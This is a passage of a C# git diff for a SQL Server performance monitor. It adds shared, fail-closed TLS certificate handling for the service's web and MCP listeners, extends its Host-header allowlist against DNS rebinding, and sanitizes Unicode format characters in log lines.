-    internal static bool IsRemoteAddressAllowed(IPAddress? remoteIp, IPNetwork allowedCidr)
+    internal static bool IsRemoteAddressAllowed(IPAddress? remoteIp, CidrAllowList allowedCidr)
     {
         if (remoteIp is null)
         {
@@ -211,13 +219,18 @@ internal static bool IsRemoteAddressAllowed(IPAddress? remoteIp, IPNetwork allow
     /// this forwarder keeps it reachable where the rest of the two hosts' bind/auth helpers live, so neither
     /// host reaches past this class. Pass <paramref name="networkListenIp"/> = null in loopback-only mode.
     ///
-    /// <para><paramref name="extraAllowedHost"/> (#4220) admits ONE more exact Host value beside
-    /// <see cref="HostHeaderGuard"/>'s own list — the web host passes <c>web.publicBaseUrl</c>'s host, since
-    /// that value is operator-configured (darling.json on this box), not attacker-reachable, and is exactly
-    /// the standard <c>AllowedHosts</c> pattern: a DNS rebind needs a hostname the ATTACKER chooses, and this
-    /// admits only the one the OPERATOR chose. Defaults to null so every existing 2-arg caller (the MCP hosts)
-    /// is byte-for-byte unchanged — <see cref="HostHeaderGuard"/>'s own default stays exactly as it was.
-    /// Compared case-insensitively, with no port (the caller already split that off).</para>
+    /// <para><paramref name="extraAllowedHost"/> admits ONE more exact Host value beside
+    /// <see cref="HostHeaderGuard"/>'s own list. BOTH Darling hosts pass one: the web host passes
+    /// <c>web.publicBaseUrl</c>'s host (#4220) and the MCP host passes <c>mcp.network.hostName</c> (#5288, in
+    /// network mode only; null otherwise). Each value is operator-configured (darling.json on this box), not
+    /// attacker-reachable, and is exactly the standard <c>AllowedHosts</c> pattern: a DNS rebind needs a
+    /// hostname the ATTACKER chooses, and this admits only the one the OPERATOR chose. Defaults to null, so a
+    /// caller with no name is byte-for-byte unchanged and <see cref="HostHeaderGuard"/>'s own default stays
+    /// exactly as it was. Compared case-insensitively, with no port (the caller already split that off), and
+    /// compared AS GIVEN. The <paramref name="host"/> a host hands in is <c>HttpRequest.Host.Host</c>, which
+    /// ASP.NET Core has already DECODED (a punycode <c>xn--bcher-kva.example</c> arrives as
+    /// <c>b&#252;cher.example</c>), so each host converts its configured name once, with
+    /// <c>HostString.FromUriComponent(...).Host</c>, before it passes it here (#5288).</para>
     /// </summary>
     internal static bool IsAllowedHost(string? host, IPAddress? networkListenIp, string? extraAllowedHost = null)
         => HostHeaderGuard.IsAllowedHost(host, networkListenIp)
diff --git a/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingHttpRefusalLog.cs b/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingHttpRefusalLog.cs
index a30985d019..5825b6cdd1 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingHttpRefusalLog.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingHttpRefusalLog.cs
@@ -41,6 +41,15 @@ internal enum DarlingRefusalGate
     /// SUCCESSFULLY authenticated subject (the role-mapping denial) stays a direct log line instead: it
     /// is the audit trail, and reaching it costs the caller a real IdP handshake.</summary>
     SignIn,
+
+    /// <summary>A throw from response compression, the Host guard or the auth gate itself, before the request was let through
+    /// (round 2, L1). Not a refusal: the failure observer uses this key to throttle the failure line it writes for a caller nobody
+    /// has authenticated, so a request that makes a gate throw repeatedly cannot fill the log with stack traces.</summary>
+    PreAuthFailure,
+
+    /// <summary>The JSON-only POST check on the MCP listener: a POST whose Content-Type is not JSON. 415. Its own
+    /// gate because the fix is on the client (send <c>application/json</c>), not a credential or an address.</summary>
+    JsonContentType,
 }
 
 /// <summary>
@@ -264,6 +273,8 @@ internal static string DescribeOutcome(int statusCode) =>
         DarlingRefusalGate.SourceCidr => "source address allowlist (network.allowFrom)",
         DarlingRefusalGate.ReadOnlySeat => "read-only seat (web.network.oidc viewerRoles)",
         DarlingRefusalGate.SignIn => "OIDC sign-in flow (web.network.oidc)",
+        DarlingRefusalGate.PreAuthFailure => "failure before the request was authenticated",
+        DarlingRefusalGate.JsonContentType => "JSON-only POST check (Content-Type)",
         _ => gate.ToString(),
     };
 
@@ -318,8 +329,12 @@ internal static string Sanitize(string? value, int maxLength = MaxEchoedLength)
                grep do not, so a forged entry could hide from ReadLine-based tooling while a splitlines()-based
                one saw it as real. All are sanitized the same as CR/LF so a reader can never disagree with
                another about where one log entry ends. */
-            if (char.IsControl(c) || c == (char)0x2028 || c == (char)0x2029)
+            if (char.IsControl(c) || c == (char)0x2028 || c == (char)0x2029
+                || System.Globalization.CharUnicodeInfo.GetUnicodeCategory(c) == System.Globalization.UnicodeCategory.Format)
             {
+                /* Unicode format characters (category Cf: zero-width marks, the bidi controls U+202A-U+202E and
+                   U+2066-U+2069) change how a line DISPLAYS, so a request text could make a log line read
+                   reordered; they become '.' the same way. */
                 builder.Append('.');
             }
             else if (char.IsHighSurrogate(c) && i + 1 < take && char.IsLowSurrogate(value[i + 1]))
diff --git a/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingListenerTls.cs b/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingListenerTls.cs
new file mode 100644
index 0000000000..61c2b0549e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingListenerTls.cs
@@ -0,0 +1,674 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Net;
+using System.Runtime.Versioning;
+using System.Security.Authentication;
+using System.Security.Cryptography.X509Certificates;
+using Microsoft.AspNetCore.Server.Kestrel.Https;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Darling.Service.Mcp;
+
+namespace PerformanceMonitor.Darling.Service.Hosting;
+
+/// <summary>
+/// The words that differ between the two network listeners' TLS log lines (#5288). Every other word of every
+/// text <see cref="DarlingListenerTls.Resolve"/> logs is shared, which is the point of sharing it: a line that
+/// has to be edited in two hosts drifts. <see cref="Web"/> reproduces, character for character, what the web
+/// host logged before its TLS block moved into <see cref="DarlingListenerTls"/>.
+/// </summary>
+/// <param name="Section">The <c>darling.json</c> section that owns the listener, <c>"web"</c> or <c>"mcp"</c>. It is
+/// handed to <see cref="DarlingWebTls.Describe"/> and <see cref="DarlingWebTls.Load"/> too, so every message names
+/// the <c>{Section}.network.tls</c> block the operator actually has to edit.</param>
+/// <param name="Surface">The listener's name at the head of a sentence: the <c>{Surface}</c> in "{Surface} TLS is
+/// misconfigured".</param>
+/// <param name="Endpoint">The listener's name in the middle of a sentence ("The dashboard stops serving when it
+/// lapses").</param>
+/// <param name="Client">What connects to the listener, for "every browser will report a name mismatch".</param>
+/// <param name="Reach">The verb for how a client gets to the listener ("browse to it by IP").</param>
+/// <param name="CleartextLead">The opening clause of the cleartext warning, up to and including "in the clear". It
+/// names what crosses the segment, which is the one place the two listeners say different things: the dashboard's
+/// token and the session cookie it mints, the MCP endpoint's token and every tool result.</param>
+internal sealed record ListenerTlsLabels(
+    string Section,
+    string Surface,
+    string Endpoint,
+    string Client,
+    string Reach,
+    string CleartextLead)
+{
+    /// <summary>The web dashboard's words, exactly as the web host's own TLS block logged them (#2562).</summary>
+    internal static ListenerTlsLabels Web { get; } = new(
+        Section: "web",
+        Surface: "Web dashboard",
+        Endpoint: "dashboard",
+        Client: "browser",
+        Reach: "browse",
+        CleartextLead: "Web dashboard is LAN-exposed WITHOUT TLS — the access token and its session cookie cross the segment in the clear");
+
+    /// <summary>The MCP endpoint's words (#5288).</summary>
+    internal static ListenerTlsLabels Mcp { get; } = new(
+        Section: "mcp",
+        Surface: "MCP server",
+        Endpoint: "MCP endpoint",
+        Client: "client",
+        Reach: "connect",
+        CleartextLead: "MCP server is LAN-exposed WITHOUT TLS: the bearer token and every tool result cross the segment in the clear");
+}
+
+/// <summary>
+/// What <see cref="DarlingListenerTls.Resolve"/> decided for one listener's TLS block.
+///
+/// <para><b>The invariant every host leans on (#5288, review F1).</b> Kestrel decides HTTPS from "the listener
+/// was handed a certificate", not from "TLS was configured". So "TLS configured, network mode on, no
+/// certificate" has to be impossible, or the host binds the LAN address in plain HTTP after the operator asked
+/// for TLS, which is the one outcome this feature exists to prevent. <see cref="DarlingListenerTls.Resolve"/>
+/// therefore returns exactly one of three shapes:</para>
+/// <list type="bullet">
+/// <item><description><c>Expose = true</c>, no certificate: ONLY when the block is
+/// <see cref="DarlingWebTls.TlsShape.NotConfigured"/> (plain HTTP, after a cleartext warning).</description></item>
+/// <item><description><c>Expose = true</c>, a certificate: a usable PKCS#12 bundle or PEM pair.</description></item>
+/// <item><description><c>Expose = false</c>, no certificate: every other outcome, with a Critical line.</description></item>
+/// </list>
+///
+/// <para><b>Ownership.</b> A returned certificate belongs to the caller, which adopts it into its own field
+/// before anything else can fail, so every later bail path releases the key. Until it returns,
+/// <see cref="DarlingListenerTls.Resolve"/> owns the certificate it loaded and disposes it on every path that
+/// does not hand it back.</para>
+/// </summary>
+/// <param name="Expose">Whether the listener may bind its LAN address at all. False means bind loopback-only.</param>
+/// <param name="Certificate">The certificate the network listener must present, or null when it has none.</param>
+/// <param name="Shape">What the block asked for, so a host can tell "no certificate because none was asked for"
+/// from "no certificate although one was asked for".</param>
+internal readonly record struct ListenerTlsOutcome(
+    bool Expose,
+    DarlingWebTls.LoadedCertificate? Certificate,
+    DarlingWebTls.TlsShape Shape)
+{
+    /// <summary>
+    /// True when the outcome breaks the fail-closed invariant: the listener may expose itself, a <c>tls</c> block
+    /// was written, and no certificate came back. <see cref="DarlingListenerTls.Resolve"/> never produces it. A
+    /// host checks it anyway, after the call, and refuses to expose with its own Critical line, because the cost
+    /// of being wrong is plain HTTP on the LAN and the cost of checking is one comparison.
+    /// </summary>
+    internal bool ExposesWithoutItsCertificate
+        => Expose && Certificate is null && Shape != DarlingWebTls.TlsShape.NotConfigured;
+}
+
+/// <summary>
+/// The TLS start path both network listeners share: the web dashboard (<c>web.network.tls</c>) and the MCP
+/// endpoint (<c>mcp.network.tls</c>). It is the block the web host used to carry inline (#2562, #3514, #3517),
+/// MOVED rather than copied, because that block is about 150 lines of fail-closed logic, and a second copy is
+/// where one of the two would stop failing closed (#5288).
+///
+/// <para><b>What lives here.</b> <see cref="Resolve"/> reads the block, loads the certificate, publishes its
+/// facts to the worker's alert sweep, judges its lifetime, warns about a name the certificate does not carry,
+/// and hands back a <see cref="ListenerTlsOutcome"/>. <see cref="SanWarning"/> and
+/// <see cref="DnsNameMatchesSan"/> are the name check. <see cref="ConfigureHttps"/> is the body of the one
+/// <c>UseHttps</c> call each host keeps. <see cref="DescribeLoopbackListener"/> is the start line's sentence
+/// about loopback.</para>
+///
+/// <para><b>What does not live here.</b> TLS stays out of the pure bind ladder
+/// (<see cref="DarlingHostBinding.ResolveBind"/>) for the reason the token does: loading a certificate reads
+/// files and a clock, and the ladder is kept free of both. A certificate failure therefore degrades exactly the
+/// way a token failure does, Critical and then loopback-only, instead of needing a bind reason the MCP host's
+/// parallel enum would have had to grow a member it can never use. So no listener decision is made here, only
+/// "may this listener expose itself, and with what certificate".</para>
+/// </summary>
+internal static class DarlingListenerTls
+{
+    /// <summary>
+    /// Reads one listener's <c>tls</c> block and decides whether, and with what certificate, the listener may
+    /// expose itself. Effectful (files, a clock, the logger, the published state), which is why it is not part of
+    /// the pure bind ladder.
+    ///
+    /// <para><b>Fail closed, never downgrade.</b> The result is exactly one of three shapes (see
+    /// <see cref="ListenerTlsOutcome"/>): expose with no certificate ONLY for an unconfigured block, expose with a
+    /// certificate for a usable one, and refuse (loopback-only) for everything else: an ambiguous or incomplete
+    /// block, a file that cannot be loaded, an expired certificate, a not-yet-valid one, and any throw after the
+    /// certificate was loaded. A configured block never resolves to "carry on without it".</para>
+    ///
+    /// <para><b>The published state.</b> The certificate's facts reach the worker's alert sweep BEFORE the
+    /// lifetime verdict is acted on, so a certificate this call refuses still reaches the operator as a Critical
+    /// self-alert and not only a log line (#3514). A not-yet-valid refusal also publishes the verdict itself
+    /// (#3517). A load failure, or a throw after the load, clears the state again, because the listener is about
+    /// to serve loopback-only and must stop advertising a certificate it will not serve.</para>
+    ///
+    /// <para><b>Ownership.</b> The certificate it loaded is a local here, and the local is disposed on the
+    /// lifetime refusal and in the catch. A host's own field cannot be reached from a static helper, which is why
+    /// the old inline code's dispose-through-the-field became dispose-the-local. The certificate that IS
+    /// returned is the caller's, who adopts it into its field at once.</para>
+    /// </summary>
+    /// <param name="logger">Where the Warning, Critical and Information lines go.</param>
+    /// <param name="certState">This listener's own singleton, never the other listener's, so a web restart can
+    /// never clear or resolve an MCP alert.</param>
+    /// <param name="labels">The words that differ per listener; see <see cref="ListenerTlsLabels"/>.</param>
+    /// <param name="tls">The listener's <c>tls</c> block, or null when it has none.</param>
+    /// <param name="listenIp">The LAN address the listener will bind. A wildcard (<c>0.0.0.0</c> or <c>::</c>) skips
+    /// the iPAddress SAN check, because there is no single address to compare.</param>
+    /// <param name="port">The listener's port, for the name-mismatch text.</param>
+    /// <param name="hostName">The DNS name the listener's Host guard admits besides its IP: the web's
+    /// <c>publicBaseUrl</c> host, the MCP host name, or null when there is none. A certificate that names it
+    /// satisfies the name check even with no iPAddress SAN.</param>
+    internal static ListenerTlsOutcome Resolve(
+        ILogger logger,
+        ListenerTlsCertificateState certState,
+        ListenerTlsLabels labels,
+        WebTlsConfig? tls,
+        IPAddress listenIp,
+        int port,
+        string? hostName)
+    {
+        ArgumentNullException.ThrowIfNull(logger);
+        ArgumentNullException.ThrowIfNull(certState);
+        ArgumentNullException.ThrowIfNull(labels);
+        ArgumentNullException.ThrowIfNull(listenIp);
+
+        var plan = DarlingWebTls.Describe(tls, labels.Section);
+        switch (plan.Shape)
+        {
+            case DarlingWebTls.TlsShape.NotConfigured:
+                /* The pre-#2562 behaviour, still the default, and still the only thing a plain-HTTP
+                   reverse proxy in front of the port needs. Warn every start: the credential and what it
+                   protects are readable by anything on the segment, and that is easy not to notice
+                   precisely because the listener works perfectly. The one shape that exposes with no
+                   certificate. */
+                logger.LogWarning("{Warning}", CleartextWarning(labels));
+                return new ListenerTlsOutcome(Expose: true, Certificate: null, plan.Shape);
+
+            case DarlingWebTls.TlsShape.Invalid:
+                logger.LogCritical(
+                    "{Surface} TLS is misconfigured ({Problem}) — refusing to expose; binding loopback-only.",
+                    labels.Surface, plan.Problem);
+                return new ListenerTlsOutcome(Expose: false, Certificate: null, plan.Shape);
+
+            default:
+                return LoadAndJudge(logger, certState, labels, tls!, plan, listenIp, port, hostName);
+        }
+    }
+
+    /// <summary>The Pfx and Pem arms of <see cref="Resolve"/>: load, publish, judge the lifetime, warn, hand back.</summary>
+    private static ListenerTlsOutcome LoadAndJudge(
+        ILogger logger,
+        ListenerTlsCertificateState certState,
+        ListenerTlsLabels labels,
+        WebTlsConfig tls,
+        DarlingWebTls.TlsPlan plan,
+        IPAddress listenIp,
+        int port,
+        string? hostName)
+    {
+        /* The local this method owns until it returns. Null again once it has been disposed or handed back,
+           so the catch below can never release a certificate twice. */
+        DarlingWebTls.LoadedCertificate? loaded = null;
+        try
+        {
+            /* #5288: a literal PKCS#12 password in darling.json is readable by every interactive user, so it is
+               named BEFORE the load (a load that then fails on a wrong password still carries the nudge). The
+               DPAPI slot and a file:/env: reference are the supported shapes and do not warn, and only the
+               PKCS#12 form reads the password at all: beside a PEM pair a stray password is the plan's own
+               warning below. */
+            if (plan.Shape == DarlingWebTls.TlsShape.Pfx && UsesPlaintextPfxPassword(tls))
+            {
+                logger.LogWarning("{Surface} TLS: {Warning}", labels.Surface, PlaintextPfxPasswordWarning(labels));
+            }
+
+            loaded = DarlingWebTls.Load(tls, plan.Shape, labels.Section);
+            var certificate = loaded.Value.Leaf;
+
+            if (plan.Warning is not null)
+            {
+                logger.LogWarning("{Surface} TLS: {Warning}", labels.Surface, plan.Warning);
+            }
+
+            /* #5288: the private key is what makes the endpoint this endpoint, and a key file kept in a folder that
+               inherits read for BUILTIN\Users can be read by every local account. After a successful load, on
+               Windows (where the ACL this reads exists), the file is named when ordinary users can read it. A
+               warning, not a refusal: the listener works, and the fix is one icacls line. */
+            if (OperatingSystem.IsWindows())
+            {
+                WarnWhenKeyFileIsReadableByUsers(logger, labels, tls, plan.Shape);
+            }
+
+            /* Lifetime is checked BEFORE the listener is built, not left to the handshake: an
+               expired certificate takes the listener down either way, and this is the only
+               place the reason reaches an operator's log.
+
+               ToUniversalTime() is not decoration: X509Certificate2.NotBefore/NotAfter return
+               LOCAL DateTimes, and while the implicit DateTime->DateTimeOffset conversion does
+               carry the local offset and would compare correctly, it reads as a UTC value to
+               everyone who follows. Convert where the trap is, not where it detonates. */
+            var notBeforeUtc = new DateTimeOffset(certificate.NotBefore.ToUniversalTime());
+            var notAfterUtc = new DateTimeOffset(certificate.NotAfter.ToUniversalTime());
+            var lifetime = DarlingWebTls.CheckLifetime(notBeforeUtc, notAfterUtc, DateTimeOffset.UtcNow);
+
+            /* #3514: publish the served certificate's facts to the worker's alert sweep BEFORE
+               acting on the lifetime verdict, so a certificate the host is about to refuse still
+               reaches the operator as a Critical self-alert, not only a log line. An expired one
+               needs nothing but its NotAfter — the worker reads the lapse off the clock, as it
+               must for a certificate that lapses mid-run. A NOT-YET-VALID one (#3517) needs the
+               VERDICT carried: this host decided once, here, and stays loopback-only on that
+               decision until its next start, whatever the clock does afterwards. A worker left
+               to re-derive it from NotBefore would call the listener healthy the moment the
+               date passed — while it is still unreachable. */
+            certState.Publish(
+                notBeforeUtc,
+                notAfterUtc,
+                certificate.Subject,
+                certificate.Thumbprint,
+                refusedNotYetValid: lifetime.Status == DarlingWebTls.LifetimeStatus.NotYetValid);
+
+            if (lifetime.Refusal is not null)
+            {
+                loaded.Value.Dispose();
+                loaded = null;
+                logger.LogCritical(
+                    "{Surface} TLS certificate cannot be used ({Refusal}) — refusing to expose; binding loopback-only.",
+                    labels.Surface, lifetime.Refusal);
+                return new ListenerTlsOutcome(Expose: false, Certificate: null, plan.Shape);
+            }
+
+            /* A warning, not a refusal: the listener genuinely works after a click-through, and taking
+               it down over a name mismatch would be a worse outcome than saying so. Runs inside the try
+               on purpose: the SAN reader re-materializes an extension from raw DER and can throw on a
+               malformed one, and a throw there must land in the catch below holding the certificate. */
+            if (SanWarning(labels, certificate, listenIp, port, hostName) is { } sanWarning)
+            {
+                logger.LogWarning("{Warning}", sanWarning);
+            }
+
+            var expiry = DarlingWebTls.ExpiryWarning(
+                certificate.NotAfter.ToUniversalTime(), DateTimeOffset.UtcNow);
+            if (expiry is not null)
+            {
+                logger.LogWarning(
+                    "{Surface} TLS certificate {Expiry} — subject {Subject}, thumbprint {Thumbprint}. "
+                    + "The {Endpoint} stops serving when it lapses; renew it before then.",
+                    labels.Surface, expiry, certificate.Subject, certificate.Thumbprint, labels.Endpoint);
+            }
+            else
+            {
+                logger.LogInformation(
+                    "{Surface} TLS certificate loaded — subject {Subject}, thumbprint {Thumbprint}, expires {NotAfter:u}.",
+                    labels.Surface, certificate.Subject, certificate.Thumbprint, certificate.NotAfter.ToUniversalTime());
+            }
+
+            /* The ONLY path that hands a certificate back: ownership passes to the caller here. */
+            var handedBack = loaded;
+            loaded = null;
+            return new ListenerTlsOutcome(Expose: true, Certificate: handedBack, plan.Shape);
+        }
+        catch (Exception ex)
+        {
+            /* Release whatever was already loaded. Everything after the load still runs inside this try (the
+               SAN reader, the expiry logging), and a throw there lands here holding a certificate the listener
+               will never use. This degrade RETURNS a refusal rather than throwing, so the host's own outer
+               catch and its failed-start cleanup never see the certificate. Without this line the "every bail
+               path releases the key" claim is false. */
+            loaded?.Dispose();
+            loaded = null;
+
+            /* #3514 follow-up: this degrade may have published the certificate at load but is about to serve
+               loopback-only, so that advertisement is replaced, not left standing. What replaces it is the host's
+               verdict that the certificate could not be loaded (#5288): a cleared state reads as "no certificate
+               to watch", which is healthy, and would resolve a standing expiry alert while the listener is down. */
+            certState.PublishLoadRefusal(ex.Message);
+
+            logger.LogCritical(
+                "{Surface} TLS certificate could not be loaded ({Message}) — refusing to expose; binding loopback-only.",
+                labels.Surface, ex.Message);
+            return new ListenerTlsOutcome(Expose: false, Certificate: null, plan.Shape);
+        }
+    }
+
+    /// <summary>
+    /// Logs a Warning when ordinary users (<c>Users</c>, <c>Authenticated Users</c>, <c>Everyone</c>) can read the
+    /// file that holds the private key: the PEM key (the certificate beside it is public), or the whole PKCS#12
+    /// bundle. Called after a successful load, so the path is known to exist and to name the shape's file.
+    /// </summary>
+    [SupportedOSPlatform("windows")]
+    private static void WarnWhenKeyFileIsReadableByUsers(
+        ILogger logger,
+        ListenerTlsLabels labels,
+        WebTlsConfig tls,
+        DarlingWebTls.TlsShape shape)
+    {
+        /* Trimmed exactly as the loader trims it, so this reads the file the loader read. */
+        var path = (shape == DarlingWebTls.TlsShape.Pfx ? tls.PfxPath : tls.KeyPath)!.Trim();
+        if (!DarlingFileSecurity.IsReadableByOrdinaryUsers(path))
+        {
+            return;
+        }
+
+        logger.LogWarning(
+            "{Surface} TLS: {Warning}",
+            labels.Surface,
+            KeyFileReadableWarning(
+                shape,
+                path,
+                DarlingFileSecurity.DescribeOwnerAndExposure(path),
+                DarlingFileSecurity.ServiceAccountDisplayName));
+    }
+
+    /// <summary>
+    /// The warning for a key file that ordinary users can read: it names the file and gives the <c>icacls</c> line
+    /// that leaves it to SYSTEM, Administrators and the service account. PURE.
+    /// </summary>
+    /// <param name="shape">Which file it is: the PKCS#12 bundle for <see cref="DarlingWebTls.TlsShape.Pfx"/>,
+    /// otherwise the PEM private key.</param>
+    /// <param name="path">The file, as the loader read it.</param>
+    /// <param name="detail">The owner-and-exposure parenthetical (<c>DarlingFileSecurity.DescribeOwnerAndExposure</c>),
+    /// or an empty string.</param>
+    /// <param name="account">The account the service runs as, which the <c>icacls</c> line grants read.</param>
+    internal static string KeyFileReadableWarning(DarlingWebTls.TlsShape shape, string path, string detail, string account)
+    {
+        var what = shape == DarlingWebTls.TlsShape.Pfx ? "PKCS#12 bundle" : "private key file";
+
+        return $"the {what} {path} is readable by ordinary users{detail}. Only SYSTEM, Administrators and the service "
+            + $"account should be able to read it. Restrict it with: icacls \"{path}\" /inheritance:r /grant:r "
+            + $"\"NT AUTHORITY\\SYSTEM:(F)\" \"BUILTIN\\Administrators:(F)\" \"{account}:(R)\"";
+    }
+
+    /// <summary>
+    /// True when the PKCS#12 password the loader will read is a literal in the config file: <c>pfxPassword</c> is
+    /// set, is not an <c>env:</c>/<c>file:</c> reference, and the DPAPI slot (<c>encryptedPfxPassword</c>), which
+    /// <see cref="WebTlsConfig.ResolvePfxPassword"/> prefers, is blank. Reads no secret, so it cannot throw. PURE.
+    /// </summary>
+    private static bool UsesPlaintextPfxPassword(WebTlsConfig tls)
+        => !string.IsNullOrWhiteSpace(tls.PfxPassword)
+           && string.IsNullOrWhiteSpace(tls.EncryptedPfxPassword)
+           && !DarlingSecretSource.IsReference(tls.PfxPassword);
+
+    /// <summary>
+    /// The warning for a PKCS#12 password written as a literal in <c>darling.json</c>. It names the setting for the
+    /// listener's section and the two supported shapes. PURE.
+    /// </summary>
+    internal static string PlaintextPfxPasswordWarning(ListenerTlsLabels labels)
+    {
+        ArgumentNullException.ThrowIfNull(labels);
+
+        return $"{labels.Section}.network.tls.pfxPassword is set in plaintext (dev convenience). "
+            + "Prefer encryptedPfxPassword (--encrypt-password) or a file:/env: reference.";
+    }
+
+    /// <summary>
+    /// The warning for a listener exposed in plain HTTP because no <c>tls</c> block is set: the credential and
+    /// what it protects cross the segment in the clear, and the CIDR list bounds only who can route to the port.
+    /// PURE. The web text is the one the web host has logged since #2562; the MCP text is the same sentence with
+    /// the MCP endpoint's nouns.
+    /// </summary>
+    internal static string CleartextWarning(ListenerTlsLabels labels)
+    {
+        ArgumentNullException.ThrowIfNull(labels);
+
+        return $"{labels.CleartextLead}, and {labels.Section}.network.allowFrom bounds only who can route to the port. "
+            + $"Configure {labels.Section}.network.tls (a PKCS#12 bundle or a PEM pair), or front the port with a "
+            + "TLS-terminating reverse proxy.";
+    }
+
+    /// <summary>
+    /// The shared body of the one <c>UseHttps</c> call each host keeps: the leaf, the intermediates that must
+    /// travel with it, and the protocol floor (TLS 1.2 or 1.3, nothing older). Kestrel presents ONLY what it is
+    /// handed, so an intermediate left out here is an incomplete chain and a failed handshake on every client that
+    /// has not independently cached it, and MCP clients are mostly Node and Python SDKs, which never fetch a
+    /// missing intermediate. Measured against a real leaf-plus-intermediate PEM before the web host wired it: the
+    /// server sent one certificate (#2562, #5288).
+    ///
+    /// <para>A host keeps exactly ONE <c>UseHttps</c> call, on its network listener, and the loopback listeners
+    /// stay plain HTTP. This body is shared; the call is not, because a second call is how a loopback listener
+    /// would acquire a certificate.</para>
+    /// </summary>
+    /// <param name="https">The options Kestrel hands the <c>UseHttps</c> callback.</param>
+    /// <param name="certificate">What <see cref="Resolve"/> returned.</param>
+    internal static void ConfigureHttps(HttpsConnectionAdapterOptions https, DarlingWebTls.LoadedCertificate certificate)
+    {
+        ArgumentNullException.ThrowIfNull(https);
+
+        https.ServerCertificate = certificate.Leaf;
+
+        /* The floor is stated, not inherited: both listeners negotiate TLS 1.2 or 1.3 and nothing older. Left at
+           its default the protocol set belongs to the operating system, and that default differs by Windows
+           version, so one release would accept a version another refuses (#5288). */
+        https.SslProtocols = SslProtocols.Tls12 | SslProtocols.Tls13;
+
+        if (certificate.Chain is { Count: > 0 })
+        {
+            https.ServerCertificateChain = certificate.Chain;
+        }
+    }
+
+    /// <summary>What a start line says about loopback when the one listener is HTTPS.</summary>
+    internal const string LoopbackOverHttpsPhrase = "the one listener serves HTTPS to loopback too";
+
+    /// <summary>
+    /// The start line's sentence about loopback. With TLS on and a specific listen IP the two loopback listeners
+    /// stay plain HTTP, so <paramref name="plainHttpPhrase"/> is the truth. With TLS on and a listen that
+    /// <see cref="DarlingHostBinding.ShouldAddLoopbackListeners"/> declines (a wildcard, or loopback itself) there
+    /// is ONE listener and it is HTTPS for everyone, loopback included, so saying "plain HTTP" would send a local
+    /// client to the wrong scheme. With no TLS the line is unchanged, whatever the listen. PURE. The text only:
+    /// no listener decision changes here.
+    /// </summary>
+    /// <param name="plainHttpPhrase">The host's own words for "loopback is also bound, plain HTTP".</param>
+    /// <param name="tlsServed">Whether the network listener was handed a certificate.</param>
+    /// <param name="primaryBind">The address the network listener binds.</param>
+    internal static string DescribeLoopbackListener(string plainHttpPhrase, bool tlsServed, IPAddress primaryBind)
+    {
+        ArgumentNullException.ThrowIfNull(plainHttpPhrase);
+        ArgumentNullException.ThrowIfNull(primaryBind);
+
+        return tlsServed && !DarlingHostBinding.ShouldAddLoopbackListeners(primaryBind)
+            ? LoopbackOverHttpsPhrase
+            : plainHttpPhrase;
+    }
+
+    /// <summary>
+    /// The name-mismatch warning, or null when there is nothing to say. Warns when the certificate names NEITHER
+    /// the listen IP (an iPAddress SAN, skipped for a wildcard listen, where there is no single address) NOR the
+    /// host name the listener's Host guard admits (a dNSName SAN, exact or a one-label wildcard), when one is set.
+    /// It never refuses: the listener works after a click-through, and taking it down over a name mismatch would
+    /// be a worse outcome than saying so. Reads the certificate's SAN extension and nothing else. Uses the
+    /// store's own iPAddress reader rather than growing a second one.
+    ///
+    /// <para><b>The reason the IP matters.</b> The anti-DNS-rebind Host allowlist accepts only <c>localhost</c>, a
+    /// loopback literal, the configured listen IP and, since #4220, the one host name the operator wrote. So a LAN
+    /// client reaches the listener by IP or by that name and by nothing else, which makes a DNS-name-only
+    /// certificate, the normal thing an internal CA issues, permanently unusable unless that name is the one it
+    /// carries. With no host name, the text is the IP-only one the web has always logged. With one (#5288, review
+    /// F11), the old text was false, because it claimed a DNS name can never match.</para>
+    ///
+    /// <para>An IP literal as the host name (a <c>publicBaseUrl</c> of <c>http://10.0.0.5:5153</c>) is the IP
+    /// check's business and is ignored here, as it always was: a dNSName SAN cannot carry it.</para>
+    ///
+    /// <para>A certificate carries its dNSName SANs in ASCII (punycode, <c>xn--bcher-kva.example</c>), and a
+    /// <c>publicBaseUrl</c> host can be written in Unicode (<c>b&#252;cher.example</c>), so the name is mapped with
+    /// <c>IdnMapping.GetAscii</c> before it is matched (#5288) and a matching SAN no longer warns falsely. Only
+    /// the match uses the ASCII form: every warning text names the host as it was given.</para>
+    /// </summary>
+    /// <param name="labels">The listener's words.</param>
+    /// <param name="certificate">The loaded leaf.</param>
+    /// <param name="listenIp">The LAN address the listener binds.</param>
+    /// <param name="port">The listener's port.</param>
+    /// <param name="hostName">The admitted DNS name, or null.</param>
+    internal static string? SanWarning(
+        ListenerTlsLabels labels,
+        X509Certificate2 certificate,
+        IPAddress listenIp,
+        int port,
+        string? hostName)
+    {
+        ArgumentNullException.ThrowIfNull(labels);
+        ArgumentNullException.ThrowIfNull(certificate);
+        ArgumentNullException.ThrowIfNull(listenIp);
+
+        var wildcard = listenIp.Equals(IPAddress.Any) || listenIp.Equals(IPAddress.IPv6Any);
+        var dnsName = AsDnsName(hostName);
+        if (wildcard && dnsName is null)
+        {
+            /* Skipped on a wildcard bind, where there is no single address to match against and no name to
+               match instead. */
+            return null;
+        }
+
+        var ipNamed = !wildcard && DarlingManagedPostgres.CertificateSanCoversIp(certificate, listenIp);
+        var nameNamed = dnsName is not null && SanCoversDnsName(certificate, ToAsciiForSanMatch(dnsName));
+        if (ipNamed || nameNamed)
+        {
+            return null;
+        }
+
+        var portText = port.ToString(CultureInfo.InvariantCulture);
+        if (dnsName is null)
+        {
+            /* The web's text since #2562, and the MCP's when it has no host name. */
+            return $"{labels.Surface} TLS certificate carries no iPAddress SAN for {listenIp} — every {labels.Client} "
+                + "will report a name mismatch. The anti-DNS-rebind Host allowlist accepts only that "
+                + $"literal IP or loopback in the Host header, so a LAN client has to {labels.Reach} to it by IP "
